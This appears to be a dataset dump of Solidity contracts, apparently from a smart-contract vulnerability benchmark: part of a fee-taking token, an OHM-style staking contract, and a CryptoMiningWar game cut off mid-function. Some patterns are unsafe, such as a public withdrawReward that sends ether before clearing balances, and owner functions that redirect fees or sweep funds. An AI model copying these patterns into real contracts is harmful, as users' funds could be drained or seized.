if(inSwap){ return _basicTransfer(sender, recipient, amount);}
require(isFeeExempt[sender] || isFeeExempt[recipient] || isTradingEnabled, "Not authorized to trade yet");
// Checks max transaction limit
if (sender != owner && sender != MarketingWallet && recipient != owner && recipient != DEAD && recipient != pair) {
require(isTxLimitExempt[recipient] || (amount <= _maxTxSize && _balances[recipient] + amount <= _maxWalletSize), "Transfer amount exceeds the MaxWallet size.");
}
//Exchange tokens
if(shouldSwapBack()){swapBack();}
_balances[sender] = _balances[sender] - amount;
//Check if should Take Fee
uint256 amountReceived = (!shouldTakeFee(sender) || !shouldTakeFee(recipient)) ? amount : takeFee(sender, recipient, amount);
_balances[recipient] = _balances[recipient] + (amountReceived);
emit Transfer(sender, recipient, amountReceived);
return true;
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender] - amount;
_balances[recipient] = _balances[recipient] + amount;
emit Transfer(sender, recipient, amount);
return true;
}
// Internal Functions
function shouldTakeFee(address sender) internal view returns (bool) {
return !isFeeExempt[sender];
}
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
uint256 feeAmount = 0;
if (sender == pair && recipient != pair) {
feeAmount = amount * (DevFeeBuy + MarketingFeeBuy + LiquidityFeeBuy) / 1000;
} if (sender != pair && recipient == pair) {
feeAmount = amount * (DevFeeSell + MarketingFeeSell + LiquidityFeeSell) / 1000;
}
if (feeAmount > 0) {
_balances[address(this)] = _balances[address(this)] + (feeAmount);
emit Transfer(sender, address(this), feeAmount);
}
return amount - (feeAmount);
}
function shouldSwapBack() internal view returns (bool) {
return msg.sender != pair
&& !inSwap
&& swapEnabled
&& _balances[address(this)] >= swapThreshold;
}
function addLiquidity(uint256 _tokenBalance, uint256 _ETHBalance) private {
if(_allowances[address(this)][address(router)] < _tokenBalance){_allowances[address(this)][address(router)] = _tokenBalance;}
router.addLiquidityWDOGE{value: _ETHBalance}(address(this), _tokenBalance, 0, 0, DevWallet, block.timestamp + 5 minutes);
}
function swapBack() internal swapping {
uint256 amountToLiq = balanceOf(address(this)) * (LiquidityFeeBuy + LiquidityFeeSell) / (2 * TotalBase);
uint256 amountToSwap = balanceOf(address(this)) - amountToLiq;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WWDOGE();
router.swapExactTokensForWDOGESupportingFeeOnTransferTokens(amountToSwap, 0, path, address(this), block.timestamp);
if (amountToLiq > 0) {
addLiquidity(amountToLiq, address(this).balance * (LiquidityFeeBuy + LiquidityFeeSell) / (2 * TotalBase - LiquidityFeeBuy - LiquidityFeeSell));
}
uint256 amountETHDev = address(this).balance * (DevFeeBuy + DevFeeSell) / (DevFeeBuy + DevFeeSell + MarketingFeeBuy + MarketingFeeSell);
uint256 amountETHMarketing = address(this).balance - amountETHDev;
(bool success1,) = payable(DevWallet).call{value: amountETHDev }("x");
(bool success2,) = payable(MarketingWallet).call{value: amountETHMarketing }("x");
require(success1 && success2, "receiver rejected ETH transfer");
}
// External Functions
function setMaxWalletAndTx(uint256 _maxWalletSize_, uint256 _maxTxSize_) external onlyOwner {
require(_maxWalletSize_ >= _totalSupply / 1000 && _maxTxSize_ >= _totalSupply / 1000, "Can't set MaxWallet or Tx below 0.1%");
_maxWalletSize = _maxWalletSize_;
_maxTxSize = _maxTxSize_;
emit SetMaxWallet(_maxWalletSize);
}
function setIsFeeExempt(address holder, bool exempt) external onlyOwner {
isFeeExempt[holder] = exempt;
emit SetIsFeeExempt(holder, exempt);
}
function setIsTxLimitExempt(address holder, bool exempt) external onlyOwner {
isTxLimitExempt[holder] = exempt;
emit SetIsTxLimitExempt(holder, exempt);
}
function setFees(uint256 _DevFeeBuy, uint256 _MarketingFeeBuy, uint256 _LiquidityFeeBuy,
uint256 _DevFeeSell, uint256 _MarketingFeeSell, uint256 _LiquidityFeeSell) external onlyOwner {
require(_DevFeeBuy + _MarketingFeeBuy + _LiquidityFeeBuy <= 330 && _DevFeeSell + _MarketingFeeSell + _LiquidityFeeSell <= 330, "Total fees must be equal to or less than 33%");
DevFeeBuy = _DevFeeBuy;
MarketingFeeBuy = _MarketingFeeBuy;
LiquidityFeeBuy = _LiquidityFeeBuy;
DevFeeSell = _DevFeeSell;
MarketingFeeSell = _MarketingFeeSell;
LiquidityFeeSell = _LiquidityFeeSell;
TotalBase = DevFeeBuy + DevFeeSell + MarketingFeeBuy + MarketingFeeSell + LiquidityFeeBuy + LiquidityFeeSell;
emit SetFees(DevFeeBuy);
}
function setFeeReceiver(address _DevWallet, address _MarketingWallet) external onlyOwner {
DevWallet = _DevWallet;
MarketingWallet = _MarketingWallet;
emit SetFeeReceiver(DevWallet);
}
function setSwapBackSettings(bool _enabled, uint256 _amount) external onlyOwner {
require(_amount >= 1, "Can't set SwapThreshold to ZERO");
swapEnabled = _enabled;
swapThreshold = _amount;
emit SetSwapBackSettings(swapEnabled, swapThreshold);
}
function initSwapBack() public onlyOwner {
swapBack();
}
// Stuck Balance Function
function ClearStuckBalance() external onlyOwner {
uint256 contractETHBalance = address(this).balance;
payable(DevWallet).transfer(contractETHBalance);
emit StuckBalanceSent(contractETHBalance, DevWallet);
}
function withdrawToken(address _token) public onlyOwner {
ERC20(_token).transfer(owner, ERC20(_token).balanceOf(address(this)));
}
function getSelfAddress() public view returns(address) {
return address(this);
}
}
| 46,525 | 12,248 |
7847aa9344e4a3cf67ff85f959efb4c5522d8073f301680c787e82fc5ad4882b
| 27,316 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/56/5628d784fb068d50c990ea296b22ec6c31a2a4de_SnowStaking.sol
| 4,180 | 16,894 |
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IMemo {
function rebase(uint256 ohmProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract SnowStaking is Ownable {
using SafeMath for uint256;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable Time;
address public immutable Memories;
struct Epoch {
uint number;
uint distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
constructor (address _Time,
address _Memories,
uint32 _epochLength,
uint _firstEpochNumber,
uint32 _firstEpochTime) {
require(_Time != address(0));
Time = _Time;
require(_Memories != address(0));
Memories = _Memories;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
IERC20(Time).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(IMemo(Memories).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
IERC20(Memories).safeTransfer(warmupContract, _amount);
return true;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, IMemo(Memories).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), IMemo(Memories).balanceForGons(info.gons));
IERC20(Time).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(Memories).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(Time).safeTransfer(msg.sender, _amount);
}
function index() public view returns (uint) {
return IMemo(Memories).index();
}
function rebase() public {
if(epoch.endTime <= uint32(block.timestamp)) {
IMemo(Memories).rebase(epoch.distribute, epoch.number);
epoch.endTime = epoch.endTime.add32(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = IMemo(Memories).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(Time).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(Memories).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(Memories).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
}
| 92,325 | 12,249 |
8202cfba84e2ca192fc0dea7b00c82943b2f42e8bf34203d16d26a54cb3ecab0
| 21,640 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0x65c347702b66ff8f1a28cf9a9768487fbe97765f.sol
| 6,041 | 21,083 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract PullPayment {
using SafeMath for uint256;
mapping(address => uint256) public payments;
uint256 public totalPayments;
function withdrawPayments() public {
address payee = msg.sender;
uint256 payment = payments[payee];
require(payment != 0);
require(address(this).balance >= payment);
totalPayments = totalPayments.sub(payment);
payments[payee] = 0;
payee.transfer(payment);
}
function asyncSend(address dest, uint256 amount) internal {
payments[dest] = payments[dest].add(amount);
totalPayments = totalPayments.add(amount);
}
}
interface MiniGameInterface {
function setupMiniGame(uint256 _miningWarRoundNumber, uint256 _miningWarDeadline) external;
function isContractMiniGame() external pure returns(bool _isContractMiniGame);
}
contract CryptoEngineerInterface {
address public gameSponsor;
function isEngineerContract() external pure returns(bool) {}
function isContractMiniGame() external pure returns(bool) {}
}
contract CryptoMiningWar is PullPayment {
bool public initialized = false;
uint256 public roundNumber = 0;
uint256 public deadline;
uint256 public CRTSTAL_MINING_PERIOD = 86400;
uint256 public HALF_TIME = 8 hours;
uint256 public ROUND_TIME = 86400 * 7;
uint256 public prizePool = 0;
uint256 BASE_PRICE = 0.005 ether;
uint256 RANK_LIST_LIMIT = 10000;
uint256 public totalMiniGame = 0;
uint256 private numberOfMiners = 8;
uint256 private numberOfBoosts = 5;
uint256 private numberOfRank = 21;
CryptoEngineerInterface public Engineer;
mapping(uint256 => address) public miniGameAddress;
mapping(uint256 => MinerData) private minerData;
mapping(address => Player) public players;
mapping(address => uint256) public boosterReward;
mapping(uint256 => BoostData) private boostData;
mapping(address => bool) public miniGames;
address[21] rankList;
address public administrator;
struct Player {
uint256 roundNumber;
mapping(uint256 => uint256) minerCount;
uint256 hashrate;
uint256 crystals;
uint256 lastUpdateTime;
}
struct MinerData {
uint256 basePrice;
uint256 baseProduct;
uint256 limit;
}
struct BoostData {
address owner;
uint256 boostRate;
uint256 startingLevel;
uint256 startingTime;
uint256 halfLife;
}
modifier isNotOver()
{
require(now <= deadline);
_;
}
modifier disableContract()
{
require(tx.origin == msg.sender);
_;
}
modifier isCurrentRound(address _addr)
{
require(players[_addr].roundNumber == roundNumber);
_;
}
modifier isAdministrator()
{
require(msg.sender == administrator);
_;
}
modifier onlyContractsMiniGame()
{
require(miniGames[msg.sender] == true);
_;
}
event GetFreeMiner(address _addr, uint256 _miningWarRound, uint256 _deadline);
event BuyMiner(address _addr, uint256[8] minerNumbers, uint256 _crystalsPrice, uint256 _hashrateBuy, uint256 _miningWarRound);
event ChangeHasrate(address _addr, uint256 _hashrate, uint256 _miningWarRound);
event ChangeCrystal(address _addr, uint256 _crystal, uint256 _type, uint256 _miningWarRound);
event BuyBooster(address _addr, uint256 _miningWarRound, uint256 _boosterId, uint256 _price, address beneficiary, uint256 refundPrize);
event Lottery(address[10] _topAddr, uint256[10] _reward, uint256 _miningWarRound);
event WithdrawReward(address _addr, uint256 _reward);
constructor() public {
administrator = msg.sender;
initMinerData();
}
function initMinerData() private
{
minerData[0] = MinerData(10, 10, 10);
minerData[1] = MinerData(100, 200, 2);
minerData[2] = MinerData(400, 800, 4);
minerData[3] = MinerData(1600, 3200, 8);
minerData[4] = MinerData(6400, 9600, 16);
minerData[5] = MinerData(25600, 38400, 32);
minerData[6] = MinerData(204800, 204800, 64);
minerData[7] = MinerData(1638400, 819200, 65536);
}
function () public payable
{
prizePool = SafeMath.add(prizePool, msg.value);
}
function isMiningWarContract() public pure returns(bool)
{
return true;
}
function startGame() public isAdministrator
{
require(!initialized);
startNewRound();
initialized = true;
}
function addMiner(address _addr, uint256 idx, uint256 _value) public isNotOver isCurrentRound(_addr) isAdministrator
{
require(idx < numberOfMiners);
require(_value != 0);
Player storage p = players[_addr];
MinerData memory m = minerData[idx];
if (SafeMath.add(p.minerCount[idx], _value) > m.limit) revert();
updateCrystal(_addr);
p.minerCount[idx] = SafeMath.add(p.minerCount[idx], _value);
updateHashrate(_addr, SafeMath.mul(_value, m.baseProduct));
}
function addCrystal(address _addr, uint256 _value) public onlyContractsMiniGame isNotOver isCurrentRound(_addr)
{
uint256 crystals = SafeMath.mul(_value, CRTSTAL_MINING_PERIOD);
Player storage p = players[_addr];
p.crystals = SafeMath.add(p.crystals, crystals);
emit ChangeCrystal(_addr, _value, 1, roundNumber);
}
function subCrystal(address _addr, uint256 _value) public onlyContractsMiniGame isNotOver isCurrentRound(_addr)
{
updateCrystal(_addr);
uint256 crystals = SafeMath.mul(_value,CRTSTAL_MINING_PERIOD);
require(crystals <= players[_addr].crystals);
Player storage p = players[_addr];
p.crystals = SafeMath.sub(p.crystals, crystals);
emit ChangeCrystal(_addr, _value, 2, roundNumber);
}
function addHashrate(address _addr, uint256 _value) public onlyContractsMiniGame isNotOver isCurrentRound(_addr)
{
Player storage p = players[_addr];
p.hashrate = SafeMath.add(p.hashrate, _value);
emit ChangeHasrate(_addr, p.hashrate, roundNumber);
}
function subHashrate(address _addr, uint256 _value) public onlyContractsMiniGame isNotOver isCurrentRound(_addr)
{
require(players[_addr].hashrate >= _value);
Player storage p = players[_addr];
p.hashrate = SafeMath.sub(p.hashrate, _value);
emit ChangeHasrate(_addr, p.hashrate, roundNumber);
}
function setEngineerInterface(address _addr) public isAdministrator
{
CryptoEngineerInterface engineerInterface = CryptoEngineerInterface(_addr);
require(engineerInterface.isEngineerContract() == true);
Engineer = engineerInterface;
}
function setRoundNumber(uint256 _value) public isAdministrator
{
roundNumber = _value;
}
function setContractsMiniGame(address _addr) public isAdministrator
{
require(miniGames[_addr] == false);
MiniGameInterface MiniGame = MiniGameInterface(_addr);
require(MiniGame.isContractMiniGame() == true);
miniGames[_addr] = true;
miniGameAddress[totalMiniGame] = _addr;
totalMiniGame = totalMiniGame + 1;
}
function removeContractMiniGame(address _addr) public isAdministrator
{
miniGames[_addr] = false;
}
function startNewRound() private
{
deadline = SafeMath.add(now, ROUND_TIME);
roundNumber = SafeMath.add(roundNumber, 1);
initBoostData();
setupMiniGame();
}
function setupMiniGame() private
{
for (uint256 index = 0; index < totalMiniGame; index++) {
if (miniGames[miniGameAddress[index]] == true) {
MiniGameInterface MiniGame = MiniGameInterface(miniGameAddress[index]);
MiniGame.setupMiniGame(roundNumber,deadline);
}
}
}
function initBoostData() private
{
boostData[0] = BoostData(0, 150, 1, now, HALF_TIME);
boostData[1] = BoostData(0, 175, 1, now, HALF_TIME);
boostData[2] = BoostData(0, 200, 1, now, HALF_TIME);
boostData[3] = BoostData(0, 225, 1, now, HALF_TIME);
boostData[4] = BoostData(msg.sender, 250, 2, now, HALF_TIME);
for (uint256 idx = 0; idx < numberOfRank; idx++) {
rankList[idx] = 0;
}
}
function lottery() public disableContract
{
require(now > deadline);
uint256 balance = SafeMath.div(SafeMath.mul(prizePool, 90), 100);
uint256 devFee = SafeMath.div(SafeMath.mul(prizePool, 5), 100);
administrator.transfer(devFee);
uint8[10] memory profit = [30,20,10,8,7,5,5,5,5,5];
uint256 totalPayment = 0;
uint256 rankPayment = 0;
address[10] memory _topAddr;
uint256[10] memory _reward;
for(uint256 idx = 0; idx < 10; idx++){
if(rankList[idx] != 0){
rankPayment = SafeMath.div(SafeMath.mul(balance, profit[idx]),100);
asyncSend(rankList[idx], rankPayment);
totalPayment = SafeMath.add(totalPayment, rankPayment);
_topAddr[idx] = rankList[idx];
_reward[idx] = rankPayment;
}
}
prizePool = SafeMath.add(devFee, SafeMath.sub(balance, totalPayment));
emit Lottery(_topAddr, _reward, roundNumber);
startNewRound();
}
function getRankList() public view returns(address[21])
{
return rankList;
}
function getFreeMiner(address _addr) public isNotOver disableContract
{
require(msg.sender == _addr);
require(players[_addr].roundNumber != roundNumber);
Player storage p = players[_addr];
if(p.hashrate > 0){
for (uint idx = 1; idx < numberOfMiners; idx++) {
p.minerCount[idx] = 0;
}
}
MinerData storage m0 = minerData[0];
p.crystals = 0;
p.roundNumber = roundNumber;
p.lastUpdateTime = now;
p.minerCount[0] = 1;
p.hashrate = m0.baseProduct;
emit GetFreeMiner(_addr, roundNumber, deadline);
}
function getFreeMinerForMiniGame(address _addr) public isNotOver onlyContractsMiniGame
{
require(players[_addr].roundNumber != roundNumber);
Player storage p = players[_addr];
if(p.hashrate > 0){
for (uint idx = 1; idx < numberOfMiners; idx++) {
p.minerCount[idx] = 0;
}
}
MinerData storage m0 = minerData[0];
p.crystals = 0;
p.roundNumber = roundNumber;
p.lastUpdateTime = now;
p.minerCount[0] = 1;
p.hashrate = m0.baseProduct;
emit GetFreeMiner(_addr, roundNumber, deadline);
}
function buyMiner(uint256[8] minerNumbers) public isNotOver isCurrentRound(msg.sender)
{
updateCrystal(msg.sender);
Player storage p = players[msg.sender];
uint256 price = 0;
uint256 hashrate = 0;
for (uint256 minerIdx = 0; minerIdx < numberOfMiners; minerIdx++) {
MinerData memory m = minerData[minerIdx];
uint256 minerNumber = minerNumbers[minerIdx];
if(minerNumbers[minerIdx] > m.limit || minerNumbers[minerIdx] < 0) revert();
if (minerNumber > 0) {
price = SafeMath.add(price, SafeMath.mul(m.basePrice, minerNumber));
uint256 currentMinerCount = p.minerCount[minerIdx];
p.minerCount[minerIdx] = SafeMath.min(m.limit, SafeMath.add(p.minerCount[minerIdx], minerNumber));
hashrate = SafeMath.add(hashrate, SafeMath.mul(SafeMath.sub(p.minerCount[minerIdx],currentMinerCount), m.baseProduct));
}
}
price = SafeMath.mul(price, CRTSTAL_MINING_PERIOD);
if(p.crystals < price) revert();
p.crystals = SafeMath.sub(p.crystals, price);
updateHashrate(msg.sender, hashrate);
emit BuyMiner(msg.sender, minerNumbers, SafeMath.div(price, CRTSTAL_MINING_PERIOD), hashrate, roundNumber);
}
function getPlayerData(address addr) public view
returns (uint256 crystals, uint256 lastupdate, uint256 hashratePerDay, uint256[8] miners, uint256 hasBoost, uint256 playerBalance)
{
Player storage p = players[addr];
if(p.roundNumber != roundNumber) p = players[0x0];
crystals = SafeMath.div(p.crystals, CRTSTAL_MINING_PERIOD);
lastupdate = p.lastUpdateTime;
hashratePerDay = p.hashrate;
uint256 i = 0;
for(i = 0; i < numberOfMiners; i++)
{
miners[i] = p.minerCount[i];
}
hasBoost = hasBooster(addr);
playerBalance = payments[addr];
}
function getData(address _addr)
public
view
returns (uint256 crystals,
uint256 lastupdate,
uint256 hashratePerDay,
uint256[8] miners,
uint256 hasBoost,
uint256 playerBalance,
uint256 _miningWarRound,
uint256 _miningWarDeadline,
uint256 _miningWarPrizePool){
(, lastupdate, hashratePerDay, miners, hasBoost, playerBalance) = getPlayerData(_addr);
crystals = SafeMath.div(calCurrentCrystals(_addr), CRTSTAL_MINING_PERIOD);
_miningWarRound = roundNumber;
_miningWarDeadline = deadline;
_miningWarPrizePool = prizePool;
}
function getHashratePerDay(address _addr) public view returns (uint256 personalProduction)
{
Player memory p = players[_addr];
personalProduction = p.hashrate;
uint256 boosterIdx = hasBooster(_addr);
if (boosterIdx != 999) {
BoostData memory b = boostData[boosterIdx];
personalProduction = SafeMath.div(SafeMath.mul(personalProduction, b.boostRate), 100);
}
}
function getCurrentReward(address _addr) public view returns(uint256)
{
return payments[_addr];
}
function withdrawReward(address _addr) public
{
uint256 currentReward = payments[_addr];
if (address(this).balance >= currentReward && currentReward > 0) {
_addr.transfer(currentReward);
payments[_addr] = 0;
boosterReward[_addr] = 0;
emit WithdrawReward(_addr, currentReward);
}
}
function buyBooster(uint256 idx) public isNotOver isCurrentRound(msg.sender) payable
{
require(idx < numberOfBoosts);
BoostData storage b = boostData[idx];
if(msg.value < getBoosterPrice(idx) || msg.sender == b.owner){
revert();
}
address beneficiary = b.owner;
uint256 devFeePrize = devFee(getBoosterPrice(idx));
address gameSponsor = Engineer.gameSponsor();
gameSponsor.transfer(devFeePrize);
uint256 refundPrize = 0;
if(beneficiary != 0){
